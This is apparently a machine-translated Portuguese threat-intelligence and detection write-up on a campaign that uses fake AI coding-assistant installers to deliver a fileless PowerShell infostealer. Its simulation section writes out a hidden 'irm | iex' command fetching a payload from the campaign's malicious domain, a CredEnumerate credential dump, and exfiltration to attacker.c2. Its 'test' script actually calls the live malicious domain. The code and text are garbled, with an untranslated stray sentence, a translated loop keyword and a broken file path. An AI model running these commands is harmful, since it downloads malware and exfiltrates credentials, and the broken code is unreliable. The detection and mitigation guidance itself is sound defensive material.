Campanha de Envenenamento de SEO Usa Iscas de Código Gemini e Claude para Entregar um Infostealer

Resumo

Atores de eCrime motivados financeiramente estão usando envenenamento de SEO para promover domínios falsos que imitam instaladores para assistentes de codificação de IA. Vítimas que copiam e colam um único comando PowerShell dessas páginas acionam um ladrão de informações sem arquivo que executa totalmente na memória. O malware rouba credenciais, cookies de sessão, chaves de VPN e arquivos sensíveis antes de exfiltrar os dados em forma criptografada para um servidor de comando e controle. A campanha tem como alvo estações de trabalho de desenvolvedores Windows e se mistura à atividade normal, abusando de ferramentas de desenvolvimento familiares.

Investigação

Analistas da EclecticIQ rastrearam a infraestrutura maliciosa até .co.com domínios que servem strings de download do PowerShell através de irm and iex. O script de primeira fase lança uma janela PowerShell oculta usando Shell.Application.ShellExecute, em seguida, carrega tipos adicionais de C# para coletar credenciais, detalhes do sistema e outros dados valiosos. A exfiltração foi observada via HTTP e HTTPS para events.msft23.com and events.ms709.com usando caminhos de URL específicos. Análise passiva de DNS vinculou a operação a um provedor de hospedagem à prova de balas nos Países Baixos e a um cluster mais amplo de domínios de erro de digitação.

Mitigação

Os defensores devem detectar e bloquear o padrão de execução irm | iex janelas PowerShell ocultas e uso suspeito de Add-Type envolvendo chamadas P/Invoke. As organizações devem impor o Modo de Linguagem Constrita do PowerShell e usar o AppLocker ou o WDAC para impedir a execução de scripts de conteúdo originado da internet. Restringir o acesso de gravação na área de transferência do navegador e impor tokens OAuth de curta duração para contas de desenvolvedores pode reduzir ainda mais a exposição. Os desenvolvedores também devem ser treinados para evitar comandos de copiar-colar de sites não confiáveis.

Resposta

As equipes de segurança devem alertar sobre processos PowerShell lançados com -WindowStyle Hidden ou invocados através de Shell.Application.ShellExecute. Esses eventos devem ser correlacionados com solicitações HTTP de saída para domínios que correspondem a *-setup.com or events.*.com, especialmente quando os caminhos /take, /processou /validate aparecem. Se esse comportamento for detectado, isole o endpoint afetado, colete logs do PowerShell e realize coleta forense de dados de navegador e armazenamentos de credenciais.

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico errado.

• Narrativa de Ataque e Comandos:
  Um invasor compromete uma conta de usuário com poucos privilégios e executa um comando de uma linha PowerShell via cmd.exe. O comando de uma linha usa irm (Invoke‑RestMethod) para buscar um script malicioso PowerShell de events.msft23.com, o canaliza para iex (Invoke‑Expression) para executar a carga útil completamente na memória e oculta a janela do PowerShell para evitar espionagem por sobre o ombro. A carga útil subsequente carrega um tipo .NET com Add‑Type para realizar a enumeração de credenciais usando o API CredEnumerate, exfiltra os dados coletados via HTTPS. Todas as etapas são executadas sem gravar arquivos no disco, correspondendo à descrição “sem arquivo”. API, exfiltrates the harvested data over HTTPS. All steps are executed without writing files to disk, matching the “file‑less” description.

  # Passo 1 – Lançamento oculto do PowerShell
  powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

  O payload.ps1 baixado (executado na memória) contém:

  # Passo 2 – Carregar tipo .NET para enumeração de credenciais
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport(""advapi32.dll"", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  # Passo 3 – Invocar dump de credenciais e exfiltrar
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Coletado $count credenciais"
  Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

  Essa sequência gera os fragmentos de linha de comando que a regra Sigma corresponde:

  • powershell.exe -WindowStyle Hidden
  • irm events.msft23.com | iex
  • Add-Type
  • advapi32.dll!CredEnumerate

• Script de Teste de Regressão: O script a seguir reproduz o comportamento exato em uma estação de trabalho de teste. Execute-o a partir de um prompt elevado do PowerShell.

  # Simulação de Ladrão de Informações PowerShell Sem Arquivo – TC-20260525-A7Z3K
  # ------------------------------------------------------------
  # Passo 1 – Executar PowerShell oculto que baixa e executa carga útil
  $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
  
  # Conteúdo simulado do payload.ps1 (hospedado localmente para testes seguros)
  $payload = @'
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport("advapi32.dll", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Coletado $count credenciais"
  # Simular exfiltração para um endpoint inofensivo
  Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
  '@
  
  # Escrever carga útil simulada para localização temporária para o teste (simulando hospedagem remota)
  $tempPath = "$env:TEMPpayload.ps1"
  Set-Content -Path $tempPath -Value $payload -Encoding UTF8
  
  # Servir a carga útil via um simples ouvinte HTTP local (para demonstração)
  $listener = [System.Net.HttpListener]::new()
  $listener.Prefixes.Add("http://+:8080/")
  $listener.Start()
  Write-Host "Servindo carga útil simulada em http://localhost:8080/payload.ps1"
  enquanto ($listener.IsListening) {
      $context = $listener.GetContext()
      if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
          $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
          $context.Response.ContentLength64 = $bytes.Length
          $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
          $context.Response.Close()
      }
  }
  # Nota: Pare o escutador manualmente após a validação.

• Comandos de Limpeza: Remova os arquivos temporários e pare o escutador HTTP.

  # Limpeza após a simulação
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  # Pare o escutador HTTP local (se ainda estiver em execução)
  Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force